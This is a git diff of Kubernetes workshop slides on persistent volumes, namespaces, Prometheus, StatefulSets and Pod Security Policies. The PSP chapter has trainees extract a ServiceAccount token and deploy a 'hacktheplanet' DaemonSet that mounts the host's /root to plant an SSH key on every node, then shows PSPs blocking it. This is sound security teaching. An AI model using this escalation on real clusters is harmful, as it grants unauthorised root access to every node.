+- Then, we will see how to automate that with a dynamic provisioner
+
+.footnote[¹Unbound = without an associated Persistent Volume.]
+
+---
+
+## Work in a separate namespace
+
+- To avoid conflicts with existing resources, let's create and use a new namespace
+
+.exercise[
+
+- Create a new namespace:
+ ```bash
+ kubectl create namespace orange
+ ```
+
+- Switch to that namespace:
+ ```bash
+ kns orange
+ ```
+
+]
+
+.warning[Make sure to call that namespace `orange`, because that name is hardcoded in the YAML files.]
+
+---
+
+## Deploying Consul
+
+- We will use a slightly different YAML file
+
+- The only differences between that file and the previous one are:
+
+ - `volumeClaimTemplate` defined in the Stateful Set spec
+
+ - the corresponding `volumeMounts` in the Pod spec
+
+ - the namespace `orange` used for discovery of Pods
+
+.exercise[
+
+- Apply the persistent Consul YAML file:
+ ```bash
+ kubectl apply -f ~/container.training/k8s/persistent-consul.yaml
+ ```
+
+]
+
+---
+
+## Observing the situation
+
+- Let's look at Persistent Volume Claims and Pods
+
+.exercise[
+
+- Check that we now have an unbound Persistent Volume Claim:
+ ```bash
+ kubectl get pvc
+ ```
+
+- We don't have any Persistent Volume:
+ ```bash
+ kubectl get pv
+ ```
+
+- The Pod `consul-0` is not scheduled yet:
+ ```bash
+ kubectl get pods -o wide
+ ```
+
+]
+
+*Hint: leave these commands running with `-w` in different windows.*
+
+---
+
+## Explanations
+
+- In a Stateful Set, the Pods are started one by one
+
+- `consul-1` won't be created until `consul-0` is running
+
+- `consul-0` has a dependency on an unbound Persistent Volume Claim
+
+- The scheduler won't schedule the Pod until the PVC is bound
+
+ (because the PVC might be bound to a volume that is only available on a subset of nodes; for instance EBS are tied to an availability zone)
+
+---
+
+## Creating Persistent Volumes
+
+- Let's create 3 local directories (`/mnt/consul`) on node2, node3, node4
+
+- Then create 3 Persistent Volumes corresponding to these directories
+
+.exercise[
+
+- Create the local directories:
+ ```bash
+ for NODE in node2 node3 node4; do
+ ssh $NODE sudo mkdir -p /mnt/consul
+ done
+ ```
+
+- Create the PV objects:
+ ```bash
+ kubectl apply -f ~/container.training/k8s/volumes-for-consul.yaml
+ ```
+
+]
+
+---
+
+## Check our Consul cluster
+
+- The PVs that we created will be automatically matched with the PVCs
+
+- Once a PVC is bound, its pod can start normally
+
+- Once the pod `consul-0` has started, `consul-1` can be created, etc.
+
+- Eventually, our Consul cluster is up, and backend by "persistent" volumes
+
+.exercise[
+
+- Check that our Consul clusters has 3 members indeed:
+ ```bash
+ kubectl exec consul-0 consul members
+ ```
+
+]
+
+---
+
+## Devil is in the details (1/2)
+
+- The size of the Persistent Volumes is bogus
+
+ (it is used when matching PVs and PVCs together, but there is no actual quota or limit)
+
+---
+
+## Devil is in the details (2/2)
+
+- This specific example worked because we had exactly 1 free PV per node:
+
+ - if we had created multiple PVs per node ...
+
+ - we could have ended with two PVCs bound to PVs on the same node ...
+
+ - which would have required two pods to be on the same node ...
+
+ - which is forbidden by the anti-affinity constraints in the StatefulSet
+
+- To avoid that, we need to associated the PVs with a Storage Class that has:
+ ```yaml
+ volumeBindingMode: WaitForFirstConsumer
+ ```
+ (this means that a PVC will be bound to a PV only after being used by a Pod)
+
+- See [this blog post](https://kubernetes.io/blog/2018/04/13/local-persistent-volumes-beta/) for more details
+
+---
+
+## Bulk provisioning
+
+- It's not practical to manually create directories and PVs for each app
+
+- We *could* pre-provision a number of PVs across our fleet
+
+- We could even automate that with a Daemon Set:
+
+ - creating a number of directories on each node
+
+ - creating the corresponding PV objects
+
+- We also need to recycle volumes
+
+- ... This can quickly get out of hand
+
+---
+
+## Dynamic provisioning
+
+- We could also write our own provisioner, which would:
+
+ - watch the PVCs across all namespaces
+
+ - when a PVC is created, create a corresponding PV on a node
+
+- Or we could use one of the dynamic provisioners for local persistent volumes
+
+ (for instance the [Rancher local path provisioner](https://github.com/rancher/local-path-provisioner))
+
+---
+
+## Strategies for local persistent volumes
+
+- Remember, when a node goes down, the volumes on that node become unavailable
+
+- High availability will require another layer of replication
+
+ (like what we've just seen with Consul; or primary/secondary; etc)
+
+- Pre-provisioning PVs makes sense for machines with local storage
+
+ (e.g. cloud instance storage; or storage directly attached to a physical machine)
+
+- Dynamic provisioning makes sense for large number of applications
+
+ (when we can't or won't dedicate a whole disk to a volume)
+
+- It's possible to mix both (using distinct Storage Classes)
diff --git a/slides/k8s/localkubeconfig.md b/slides/k8s/localkubeconfig.md
index eaaf9e4e..e95977dc 100644
--- a/slides/k8s/localkubeconfig.md
+++ b/slides/k8s/localkubeconfig.md
@@ -6,6 +6,24 @@
---
+## Requirements
+
+.warning[The exercises in this chapter should be done *on your local machine*.]
+
+- `kubectl` is officially available on Linux, macOS, Windows
+
+ (and unofficially anywhere we can build and run Go binaries)
+
+- You may skip these exercises if you are following along from:
+
+ - a tablet or phone
+
+ - a web-based terminal
+
+ - an environment where you can't install and run new binaries
+
+---
+
## Installing `kubectl`
- If you already have `kubectl` on your local machine, you can skip this
@@ -16,11 +34,11 @@
- Download the `kubectl` binary from one of these links:
- [Linux](https://storage.googleapis.com/kubernetes-release/release/v1.14.1/bin/linux/amd64/kubectl)
+ [Linux](https://storage.googleapis.com/kubernetes-release/release/v1.14.2/bin/linux/amd64/kubectl)
|
- [macOS](https://storage.googleapis.com/kubernetes-release/release/v1.14.1/bin/darwin/amd64/kubectl)
+ [macOS](https://storage.googleapis.com/kubernetes-release/release/v1.14.2/bin/darwin/amd64/kubectl)
|
- [Windows](https://storage.googleapis.com/kubernetes-release/release/v1.14.1/bin/windows/amd64/kubectl.exe)
+ [Windows](https://storage.googleapis.com/kubernetes-release/release/v1.14.2/bin/windows/amd64/kubectl.exe)
- On Linux and macOS, make the binary executable with `chmod +x kubectl`
@@ -65,9 +83,16 @@ Platform:"linux/amd64"}
- If you never used `kubectl` on your machine before: nothing to do!
-- If you already used `kubectl` to control a Kubernetes cluster before:
+.exercise[
- - rename `~/.kube/config` to e.g. `~/.kube/config.bak`
+- Make a copy of `~/.kube/config`; if you are using macOS or Linux, you can do:
+ ```bash
+ cp ~/.kube/config ~/.kube/config.before.training
+ ```
+
+- If you are using Windows, you will need to adapt this command
+
+]
---
diff --git a/slides/k8s/namespaces.md b/slides/k8s/namespaces.md
index 3dbd13c9..22459db3 100644
--- a/slides/k8s/namespaces.md
+++ b/slides/k8s/namespaces.md
@@ -1,26 +1,65 @@
# Namespaces
+- We would like to deploy another copy of DockerCoins on our cluster
+
+- We could rename all our deployments and services:
+
+ hasher → hasher2, redis → redis2, rng → rng2, etc.
+
+- That would require updating the code
+
+- There as to be a better way!
+
+--
+
+- As hinted by the title of this section, we will use *namespaces*
+
+---
+
+## Identifying a resource
+
- We cannot have two resources with the same name
- (Or can we...?)
+ (or can we...?)
--
-- We cannot have two resources *of the same type* with the same name
+- We cannot have two resources *of the same kind* with the same name
- (But it's OK to have a `rng` service, a `rng` deployment, and a `rng` daemon set!)
+ (but it's OK to have a `rng` service, a `rng` deployment, and a `rng` daemon set)
--
-- We cannot have two resources of the same type with the same name *in the same namespace*
+- We cannot have two resources of the same kind with the same name *in the same namespace*
- (But it's OK to have e.g. two `rng` services in different namespaces!)
+ (but it's OK to have e.g. two `rng` services in different namespaces)
--
-- In other words: **the tuple *(type, name, namespace)* needs to be unique**
+- Except for resources that exist at the *cluster scope*
- (In the resource YAML, the type is called `Kind`)
+ (these do not belong to a namespace)
+
+---
+
+## Uniquely identifying a resource
+
+- For *namespaced* resources:
+
+ the tuple *(kind, name, namespace)* needs to be unique
+
+- For resources at the *cluster scope*:
+
+ the tuple *(kind, name)* needs to be unique
+
+.exercise[
+
+- List resource types again, and check the NAMESPACED column:
+ ```bash
+ kubectl api-resources
+ ```
+
+]
---
@@ -59,7 +98,7 @@
- The two methods above are identical
-- If we are using a tool like Helm, it will create namespaces automatically
+- Some tools like Helm will create namespaces automatically when needed
---
@@ -168,41 +207,27 @@
---
-## Deploy DockerCoins with Helm
+## Deploying DockerCoins with YAML files
-*Follow these instructions if you previously created a Helm Chart.*
+- The GitHub repository `jpetazzo/kubercoins` contains everything we need!
.exercise[
-- Deploy DockerCoins:
+- Clone the kubercoins repository:
```bash
- helm install dockercoins
+ git clone https://github.com/jpetazzo/kubercoins
+ ```
+
+- Create all the DockerCoins resources:
+ ```bash
+ kubectl create -f kubercoins
```
]
-In the last command line, `dockercoins` is just the local path where
-we created our Helm chart before.
+If the argument behind `-f` is a directory, all the files in that directory are processed.
----
-
-## Deploy DockerCoins with Kustomize
-
-*Follow these instructions if you previously created a Kustomize overlay.*
-
-.exercise[
-
-- Deploy DockerCoins:
- ```bash
- kubectl apply -f rendered.yaml
- ```
-
-- Or, with Kubernetes 1.14, you can also do this:
- ```bash
- kubectl apply -k overlays/ship
- ```
-
-]
+The subdirectories are *not* processed, unless we also add the `-R` flag.
---
@@ -221,46 +246,7 @@ we created our Helm chart before.
]
-If the graph shows up but stays at zero, check the next slide!
-
----
-
-## Troubleshooting
-
-If did the exercices from the chapter about labels and selectors,
-the app that you just created may not work, because the `rng` service
-selector has `enabled=yes` but the pods created by the `rng` daemon set
-do not have that label.
-
-How can we troubleshoot that?
-
-- Query individual services manually
-
- → the `rng` service will time out
-
-- Inspect the services with `kubectl describe service`
-
- → the `rng` service will have an empty list of backends
-
----
-
-## Fixing the broken service
-
-The easiest option is to add the `enabled=yes` label to the relevant pods.
-
-.exercise[
-
-- Add the `enabled` label to the pods of the `rng` daemon set:
- ```bash
- kubectl label pods -l app=rng enabled=yes
- ```
-
-]
-
-The *best* option is to change either the service definition, or the
-daemon set definition, so that their respective selectors match correctly.
-
-*This is left as an exercise for the reader!*
+If the graph shows up but stays at zero, give it a minute or two!
---
diff --git a/slides/k8s/ourapponkube.md b/slides/k8s/ourapponkube.md
index 8abf1f18..50eed1ea 100644
--- a/slides/k8s/ourapponkube.md
+++ b/slides/k8s/ourapponkube.md
@@ -11,6 +11,7 @@
- Deploy everything else:
```bash
+ set -u
for SERVICE in hasher rng webui worker; do
kubectl create deployment $SERVICE --image=$REGISTRY/$SERVICE:$TAG
done
diff --git a/slides/k8s/podsecuritypolicy.md b/slides/k8s/podsecuritypolicy.md
new file mode 100644
index 00000000..a8dd9f98
--- /dev/null
+++ b/slides/k8s/podsecuritypolicy.md
@@ -0,0 +1,601 @@
+# Pod Security Policies
+
+- By default, our pods and containers can do *everything*
+
+ (including taking over the entire cluster)
+
+- We are going to show an example of a malicious pod
+
+- Then we will explain how to avoid this with PodSecurityPolicies
+
+- We will illustrate this by creating a non-privileged user limited to a namespace
+
+---
+
+## Setting up a namespace
+
+- Let's create a new namespace called "green"
+
+.exercise[
+
+- Create the "green" namespace:
+ ```bash
+ kubectl create namespace green
+ ```
+
+- Change to that namespace:
+ ```bash
+ kns green
+ ```
+
+]
+
+---
+
+## Using limited credentials
+
+- When a namespace is created, a `default` ServiceAccount is added
+
+- By default, this ServiceAccount doesn't have any access rights
+
+- We will use this ServiceAccount as our non-privileged user
+
+- We will obtain this ServiceAccount's token and add it to a context
+
+- Then we will give basic access rights to this ServiceAccount
+
+---
+
+## Obtaining the ServiceAccount's token
+
+- The token is stored in a Secret
+
+- The Secret is listed in the ServiceAccount
+
+.exercise[
+
+- Obtain the name of the Secret from the ServiceAccount::
+ ```bash
+ SECRET=$(kubectl get sa default -o jsonpath={.secrets[0].name})
+ ```
+
+- Extract the token from the Secret object:
+ ```bash
+ TOKEN=$(kubectl get secrets $SECRET -o jsonpath={.data.token}
+ | base64 -d)
+ ```
+
+]
+
+---
+
+class: extra-details
+
+## Inspecting a Kubernetes token
+
+- Kubernetes tokens are JSON Web Tokens
+
+ (as defined by [RFC 7519](https://tools.ietf.org/html/rfc7519))
+
+- We can view their content (and even verify them) easily
+
+.exercise[
+
+- Display the token that we obtained:
+ ```bash
+ echo $TOKEN
+ ```
+
+- Copy paste the token in the verification form on https://jwt.io
+
+]
+
+---
+
+## Authenticating using the ServiceAccount token
+
+- Let's create a new *context* accessing our cluster with that token
+
+.exercise[
+
+- First, add the token credentials to our kubeconfig file:
+ ```bash
+ kubectl config set-credentials green --token=$TOKEN
+ ```
+
+- Then, create a new context using these credentials:
+ ```bash
+ kubectl config set-context green --user=green --cluster=kubernetes
+ ```
+
+- Check the results:
+ ```bash
+ kubectl config get-contexts
+ ```
+
+]
+
+---
+
+## Using the new context
+
+- Normally, this context doesn't let us access *anything* (yet)
+
+.exercise[
+
+- Change to the new context with one of these two commands:
+ ```bash
+ kctx green
+ kubectl config use-context green
+ ```
+
+- Also change to the green namespace in that context:
+ ```bash
+ kns green
+ ```
+
+- Confirm that we don't have access to anything:
+ ```bash
+ kubectl get all
+ ```
+
+]
+
+---
+
+## Giving basic access rights
+
+- Let's bind the ClusterRole `edit` to our ServiceAccount
+
+- To allow access only to the namespace, we use a RoleBinding
+
+ (instead of a ClusterRoleBinding, which would give global access)
+
+.exercise[
+
+- Switch back to `cluster-admin`:
+ ```bash
+ kctx -
+ ```
+
+- Create the Role Binding:
+ ```bash
+ kubectl create rolebinding green --clusterrole=edit --serviceaccount=green:default
+ ```
+
+]
+
+---
+
+## Verifying access rights
+
+- Let's switch back to the `green` context and check that we have rights
+
+.exercise[
+
+- Switch back to `green`:
+ ```bash
+ kctx green
+ ```
+
+- Check our permissions:
+ ```bash
+ kubectl get all
+ ```
+
+]
+
+We should see an empty list.
+
+(Better than a series of permission errors!)
+
+---
+
+## Creating a basic Deployment
+
+- Just to demonstrate that everything works correctly, deploy NGINX
+
+.exercise[
+
+- Create a Deployment using the official NGINX image:
+ ```bash
+ kubectl create deployment web --image=nginx
+ ```
+
+- Confirm that the Deployment, ReplicaSet, and Pod exist, and Pod is running:
+ ```bash
+ kubectl get all
+ ```
+
+]
+
+---
+
+## One example of malicious pods
+
+- We will now show an escalation technique in action
+
+- We will deploy a DaemonSet that adds our SSH key to the root account
+
+ (on *each* node of the cluster)
+
+- The Pods of the DaemonSet will do so by mounting `/root` from the host
+
+.exercise[
+
+- Check the file `k8s/hacktheplanet.yaml` with a text editor:
+ ```bash
+ vim ~/container.training/k8s/hacktheplanet.yaml
+ ```
+
+- If you would like, change the SSH key (by changing the GitHub user name)
+
+]
+
+---
+
+## Deploying the malicious pods
+
+- Let's deploy our "exploit"!
+
+.exercise[
+
+- Create the DaemonSet:
+ ```bash
+ kubectl create -f ~/container.training/k8s/hacktheplanet.yaml
+ ```
+
+- Check that the pods are running:
+ ```bash
+ kubectl get pods
+ ```
+
+- Confirm that the SSH key was added to the node's root account:
+ ```bash
+ sudo cat /root/.ssh/authorized_keys
+ ```
+
+]
+
+---
+
+## Cleaning up
+
+- Before setting up our PodSecurityPolicies, clean up that namespace
+
+.exercise[
+
+- Remove the DaemonSet:
+ ```bash
+ kubectl delete daemonset hacktheplanet
+ ```
+
+- Remove the Deployment:
+ ```bash
+ kubectl delete deployment web
+ ```
+
+]
+
+---
+
+## Pod Security Policies in theory
+
+- To use PSPs, we need to activate their specific *admission controller*
+
+- That admission controller will intercept each pod creation attempt
+
+- It will look at:
+
+ - *who/what* is creating the pod
+
+ - which PodSecurityPolicies they can use
+
+ - which PodSecurityPolicies can be used by the Pod's ServiceAccount
+
+- Then it will compare the Pod with each PodSecurityPolicy one by one
+
+- If a PodSecurityPolicy accepts all the parameters of the Pod, it is created
+
+- Otherwise, the Pod creation is denied and it won't even show up in `kubectl get pods`
+
+---
+
+## Pod Security Policies fine print
+
+- With RBAC, using a PSP corresponds to the verb `use` on the PSP
+
+ (that makes sense, right?)
+
+- If no PSP is defined, no Pod can be created
+
+ (even by cluster admins)
+
+- Pods that are already running are *not* affected
+
+- If we create a Pod directly, it can use a PSP to which *we* have access
+
+- If the Pod is created by e.g. a ReplicaSet or DaemonSet, it's different:
+
+ - the ReplicaSet / DaemonSet controllers don't have access to *our* policies
+
+ - therefore, we need to give access to the PSP to the Pod's ServiceAccount
+
+---
+
+## Pod Security Policies in practice
+
+- We are going to enable the PodSecurityPolicy admission controller
+
+- At that point, we won't be able to create any more pods (!)
+
+- Then we will create a couple of PodSecurityPolicies
+
+- ... And associated ClusterRoles (giving `use` access to the policies)
+
+- Then we will create RoleBindings to grant these roles to ServiceAccounts
+
+- We will verify that we can't run our "exploit" anymore
+
+---
+
+## Enabling Pod Security Policies
+
+- To enable Pod Security Policies, we need to enable their *admission plugin*
+
+- This is done by adding a flag to the API server
+
+- On clusters deployed with `kubeadm`, the control plane runs in static pods
+
+- These pods are defined in YAML files located in `/etc/kubernetes/manifests`
+
+- Kubelet watches this directory
+
+- Each time a file is added/removed there, kubelet creates/deletes the corresponding pod
+
+- Updating a file causes the pod to be deleted and recreated
+
+---
+
+## Updating the API server flags
+
+- Let's edit the manifest for the API server pod
+
+.exercise[
+
+- Have a look at the static pods:
+ ```bash
+ ls -l /etc/kubernetes/manifest
+ ```
+
+- Edit the one corresponding to the API server:
+ ```bash
+ sudo vim /etc/kubernetes/manifests/kube-apiserver.yaml
+ ```
+
+]
+
+---
+
+## Adding the PSP admission plugin
+
+- There should already be a line with `--enable-admission-plugins=...`
+
+- Let's add `PodSecurityPolicy` on that line
+
+.exercise[
+
+- Locate the line with `--enable-admission-plugins=`
+
+- Add `PodSecurityPolicy`
+
+ (It should read `--enable-admission-plugins=NodeRestriction,PodSecurityPolicy`)
+
+- Save, quit
+
+]
+
+---
+
+## Waiting for the API server to restart
+
+- The kubelet detects that the file was modified
+
+- It kills the API server pod, and starts a new one
+
+- During that time, the API server is unavailable
+
+.exercise[
+
+- Wait until the API server is available again
+
+]
+
+---
+
+## Check that the admission plugin is active
+
+- Normally, we can't create any Pod at this point
+
+.exercise[
+
+- Try to create a Pod directly:
+ ```bash
+ kubectl run testpsp1 --image=nginx --restart=Never
+ ```
+
+- Try to create a Deployment:
+ ```bash
+ kubectl run testpsp2 --image=nginx
+ ```
+
+- Look at existing resources:
+ ```bash
+ kubectl get all
+ ```
+
+]
+
+We can get hints at what's happening by looking at the ReplicaSet and Events.
+
+---
+
+## Introducing our Pod Security Policies
+
+- We will create two policies:
+
+ - privileged (allows everything)
+
+ - restricted (blocks some unsafe mechanisms)
+
+- For each policy, we also need an associated ClusterRole granting *use*
+
+---
+
+## Creating our Pod Security Policies
+
+- We have a couple of files, each defining a PSP and associated ClusterRole:
+
+ - k8s/psp-privileged.yaml: policy `privileged`, role `psp:privileged`
+ - k8s/psp-restricted.yaml: policy `restricted`, role `psp:restricted`
+
+.exercise[
+
+- Create both policies and their associated ClusterRoles:
+ ```bash
+ kubectl create -f ~/container.training/k8s/psp-restricted.yaml
+ kubectl create -f ~/container.training/k8s/psp-privileged.yaml
+ ```
+]
+
+- The privileged policy comes from [the Kubernetes documentation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#example-policies)
+
+- The restricted policy is inspired by that same documentation page
+
+---
+
+## Binding the restricted policy
+
+- Let's bind the role `psp:restricted` to ServiceAccount `green:default`
+
+ (aka the default ServiceAccount in the green Namespace)
+
+.exercise[
+
+- Create the following RoleBinding:
+ ```bash
+ kubectl create rolebinding psp:restricted \
+ --clusterrole=psp:restricted \
+ --serviceaccount=green:default
+ ```
+
+]
+
+---
+
+## Trying it out
+
+- Let's switch to the `green` context, and try to create resources
+
+.exercise[
+
+- Switch to the `green` context:
+ ```bash
+ kctx green
+ ```
+
+- Create a simple Deployment:
+ ```bash
+ kubectl create deployment web --image=nginx
+ ```
+
+- Look at the Pods that have been created:
+ ```bash
+ kubectl get all
+ ```
+
+]
+
+---
+
+## Trying to hack the cluster
+
+- Let's create the same DaemonSet we used earlier
+
+.exercise[
+
+- Create a hostile DaemonSet:
+ ```bash
+ kubectl create -f ~/container.training/k8s/hacktheplanet.yaml
+ ```
+
+- Look at the state of the namespace:
+ ```bash
+ kubectl get all
+ ```
+
+]
+
+---
+
+class: extra-details
+
+## What's in our restricted policy?
+
+- The restricted PSP is similar to the one provided in the docs, but:
+
+ - it allows containers to run as root
+
+ - it doesn't drop capabilities
+
+- Many containers run as root by default, and would require additional tweaks
+
+- Many containers use e.g. `chown`, which requires a specific capability
+
+ (that's the case for the NGINX official image, for instance)
+
+- We still block: hostPath, privileged containers, and much more!
+
+---
+
+class: extra-details
+
+## The case of static pods
+
+- If we list the pods in the `kube-system` namespace, `kube-apiserver` is missing
+
+- However, the API server is obviously running
+
+ (otherwise, `kubectl get pods --namespace=kube-system` wouldn't work)
+
+- The API server Pod is created directly by kubelet
+
+ (without going through the PSP admission plugin)
+
+- Then, kubelet creates a "mirror pod" representing that Pod in etcd
+
+- That "mirror pod" creation goes through the PSP admission plugin
+
+- And it gets blocked!
+
+- This can be fixed by binding `psp:privileged` to group `system:nodes`
+
+---
+
+## .warning[Before moving on...]
+
+- Our cluster is currently broken
+
+ (we can't create pods in kube-system, default, ...)
+
+- We need to either:
+
+ - disable the PSP admission plugin
+
+ - allow use of PSP to relevant users and groups
+
+- For instance, we could:
+
+ - bind `psp:restricted` to the group `system:authenticated`
+
+ - bind `psp:privileged` to the ServiceAccount `kube-system:default`
diff --git a/slides/k8s/prometheus.md b/slides/k8s/prometheus.md
index b6777a6c..b78b1884 100644
--- a/slides/k8s/prometheus.md
+++ b/slides/k8s/prometheus.md
@@ -12,7 +12,7 @@
- an *alert manager* to notify us according to metrics values or trends
-- We are going to deploy it on our Kubernetes cluster and see how to query it
+- We are going to use it to collect and query some metrics on our Kubernetes cluster
---
@@ -145,7 +145,28 @@ scrape_configs:
(it will even be gentler on the I/O subsystem since it needs to write less)
-[Storage in Prometheus 2.0](https://www.youtube.com/watch?v=C4YV-9CrawA) by [Goutham V](https://twitter.com/putadent) at DC17EU
+- Would you like to know more? Check this video:
+
+ [Storage in Prometheus 2.0](https://www.youtube.com/watch?v=C4YV-9CrawA) by [Goutham V](https://twitter.com/putadent) at DC17EU
+
+---
+
+## Checking if Prometheus is installed
+
+- Before trying to install Prometheus, let's check if it's already there
+
+.exercise[
+
+- Look for services with a label `app=prometheus` across all namespaces:
+ ```bash
+ kubectl get services --selector=app=prometheus --all-namespaces
+ ```
+
+]
+
+If we see a `NodePort` service called `prometheus-server`, we're good!
+
+(We can then skip to "Connecting to the Prometheus web UI".)
---
@@ -169,11 +190,11 @@ We need to:
---
-## Helm Charts to the rescue
+## Helm charts to the rescue
-- To make our lives easier, we are going to use a Helm Chart
+- To make our lives easier, we are going to use a Helm chart
-- The Helm Chart will take care of all the steps explained above
+- The Helm chart will take care of all the steps explained above
(including some extra features that we don't need, but won't hurt)
@@ -210,20 +231,41 @@ We need to:
- Install Prometheus on our cluster:
```bash
- helm install stable/prometheus \
- --set server.service.type=NodePort \
- --set server.persistentVolume.enabled=false
+ helm upgrade prometheus stable/prometheus \
+ --install \
+ --namespace kube-system \
+ --set server.service.type=NodePort \
+ --set server.service.nodePort=30090 \
+ --set server.persistentVolume.enabled=false \
+ --set alertmanager.enabled=false
```
]
-The provided flags:
+Curious about all these flags? They're explained in the next slide.
-- expose the server web UI (and API) on a NodePort
+---
-- use an ephemeral volume for metrics storage
-
- (instead of requesting a Persistent Volume through a Persistent Volume Claim)
+class: extra-details
+
+## Explaining all the Helm flags
+
+- `helm upgrade prometheus` → upgrade release "prometheus" to the latest version ...
+
+ (a "release" is a unique name given to an app deployed with Helm)
+
+- `stable/prometheus` → ... of the chart `prometheus` in repo `stable`
+
+- `--install` → if the app doesn't exist, create it
+
+- `--namespace kube-system` → put it in that specific namespace
+
+- And set the following *values* when rendering the chart's templates:
+
+ - `server.service.type=NodePort` → expose the Prometheus server with a NodePort
+ - `server.service.nodePort=30090` → set the specific NodePort number to use
+ - `server.persistentVolume.enabled=false` → do not use a PersistentVolumeClaim
+ - `alertmanager.enabled=false` → disable the alert manager entirely
---
@@ -235,7 +277,7 @@ The provided flags:
- Figure out the NodePort that was allocated to the Prometheus server:
```bash
- kubectl get svc | grep prometheus-server
+ kubectl get svc --all-namespaces | grep prometheus-server
```
- With your browser, connect to that port
@@ -292,7 +334,7 @@ This query will show us CPU usage across all containers:
container_cpu_usage_seconds_total
```
-- The suffix of the metrics name tells us:
+- The suffix of the metrics name tells us:
- the unit (seconds of CPU)
@@ -486,3 +528,21 @@ class: extra-details
- see [this comment](https://github.com/prometheus/prometheus/issues/2204#issuecomment-261515520) for an overview
- or [this blog post](https://5pi.de/2017/11/09/use-prometheus-vector-matching-to-get-kubernetes-utilization-across-any-pod-label/) for a complete description of the process
+
+---
+
+## In practice
+
+- Grafana is a beautiful (and useful) frontend to display all kinds of graphs
+
+- Not everyone needs to know Prometheus, PromQL, Grafana, etc.
+
+- But in a team, it is valuable to have at least one person who know them
+
+- That person can set up queries and dashboards for the rest of the team
+
+- It's a little bit likeknowing how to optimize SQL queries, Dockerfiles ...
+
+ Don't panic if you don't know these tools!
+
+ ... But make sure at least one person in your team is on it 💯
diff --git a/slides/k8s/statefulsets.md b/slides/k8s/statefulsets.md
index 3dc45286..9692eef0 100644
--- a/slides/k8s/statefulsets.md
+++ b/slides/k8s/statefulsets.md
@@ -34,13 +34,13 @@
- Each pod can discover the IP address of the others easily
-- The pods can have persistent volumes attached to them
+- The pods can persist data on attached volumes
🤔 Wait a minute ... Can't we already attach volumes to pods and deployments?
---
-## Volumes and Persistent Volumes
+## Revisiting volumes
- [Volumes](https://kubernetes.io/docs/concepts/storage/volumes/) are used for many purposes:
@@ -50,13 +50,13 @@
- accessing storage systems
-- The last type of volumes is known as a "Persistent Volume"
+- Let's see examples of the latter usage
---
-## Persistent Volumes types
+## Volumes types
-- There are many [types of Persistent Volumes](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#types-of-persistent-volumes) available:
+- There are many [types of volumes](https://kubernetes.io/docs/concepts/storage/volumes/#types-of-volumes) available:
- public cloud storage (GCEPersistentDisk, AWSElasticBlockStore, AzureDisk...)
@@ -74,7 +74,7 @@
---
-## Using a Persistent Volume
+## Using a cloud volume
Here is a pod definition using an AWS EBS volume (that has to be created first):
@@ -99,7 +99,32 @@ spec:
---
-## Shortcomings of Persistent Volumes
+## Using an NFS volume
+
+Here is another example using a volume on an NFS server:
+
+```yaml
+apiVersion: v1
+kind: Pod
+metadata:
+ name: pod-using-my-nfs-volume
+spec:
+ containers:
+ - image: ...
+ name: container-using-my-nfs-volume
+ volumeMounts:
+ - mountPath: /my-nfs
+ name: my-nfs-volume
+ volumes:
+ - name: my-nfs-volume
+ nfs:
+ server: 192.168.0.55
+ path: "/exports/assets"
+```
+
+---
+
+## Shortcomings of volumes
- Their lifecycle (creation, deletion...) is managed outside of the Kubernetes API
@@ -125,17 +150,47 @@ spec:
- This type is a *Persistent Volume Claim*
+- A Persistent Volume Claim (PVC) is a resource type
+
+ (visible with `kubectl get persistentvolumeclaims` or `kubectl get pvc`)
+
+- A PVC is not a volume; it is a *request for a volume*
+
+---
+
+## Persistent Volume Claims in practice
+
- Using a Persistent Volume Claim is a two-step process:
- creating the claim
- using the claim in a pod (as if it were any other kind of volume)
-- Between these two steps, something will happen behind the scenes:
+- A PVC starts by being Unbound (without an associated volume)
- - Kubernetes will associate an existing volume with the claim
+- Once it is associated with a Persistent Volume, it becomes Bound
- - ... or dynamically create a volume if possible and necessary
+- A Pod referring an unbound PVC will not start
+
+ (but as soon as the PVC is bound, the Pod can start)
+
+---
+
+## Binding PV and PVC
+
+- A Kubernetes controller continuously watches PV and PVC objects
+
+- When it notices an unbound PVC, it tries to find a satisfactory PV
+
+ ("satisfactory" in terms of size and other characteristics; see next slide)
+
+- If no PV fits the PVC, a PV can be created dynamically
+
+ (this requires to configure a *dynamic provisioner*, more on that later)
+
+- Otherwise, the PVC remains unbound indefinitely
+
+ (until we manually create a PV or setup dynamic provisioning)
---
@@ -147,7 +202,9 @@ spec:
- the access mode (e.g. "read-write by a single pod")
-- It can also give extra details, like:
+- Optionally, it can also specify a Storage Class
+
+- The Storage Class indicates:
- which storage system to use (e.g. Portworx, EBS...)
@@ -155,8 +212,6 @@ spec:
e.g.: "replicate the data 3 times, and use SSD media"
-- The extra details are provided by specifying a Storage Class
-
---
## What's a Storage Class?
@@ -167,15 +222,15 @@ spec:
- It indicates which *provisioner* to use
+ (which controller will create the actual volume)
+
- And arbitrary parameters for that provisioner
(replication levels, type of disk ... anything relevant!)
-- It is necessary to define a Storage Class to use [dynamic provisioning](https://kubernetes.io/docs/concepts/storage/dynamic-provisioning/)
+- Storage Classes are required if we want to use [dynamic provisioning](https://kubernetes.io/docs/concepts/storage/dynamic-provisioning/)
-- Conversely, it is not necessary to define one if you will create volumes manually
-
- (we will see dynamic provisioning in action later)
+ (but we can also create volumes manually, and ignore Storage Classes)
---
@@ -200,7 +255,7 @@ spec:
## Using a Persistent Volume Claim
-Here is the same definition as earlier, but using a PVC:
+Here is a Pod definition like the ones shown earlier, but using a PVC:
```yaml
apiVersion: v1
@@ -212,7 +267,7 @@ spec:
- image: ...
name: container-using-a-claim
volumeMounts:
- - mountPath: /my-ebs
+ - mountPath: /my-vol
name: my-volume
volumes:
- name: my-volume
diff --git a/slides/k8s/versions-k8s.md b/slides/k8s/versions-k8s.md
index e093d20a..ab76efed 100644
--- a/slides/k8s/versions-k8s.md
+++ b/slides/k8s/versions-k8s.md
@@ -1,7 +1,7 @@
## Versions installed
-- Kubernetes 1.14.1
-- Docker Engine 18.09.5
+- Kubernetes 1.14.2
+- Docker Engine 18.09.6
- Docker Compose 1.21.1
diff --git a/slides/k8s/volumes.md b/slides/k8s/volumes.md
index 2773d185..dc7c355a 100644
--- a/slides/k8s/volumes.md
+++ b/slides/k8s/volumes.md
@@ -18,6 +18,8 @@
---
+class: extra-details
+
## Kubernetes volumes vs. Docker volumes
- Kubernetes and Docker volumes are very similar
@@ -35,13 +37,35 @@
- Kubernetes volumes are also used to expose configuration and secrets
- Docker has specific concepts for configuration and secrets
-
+
(but under the hood, the technical implementation is similar)
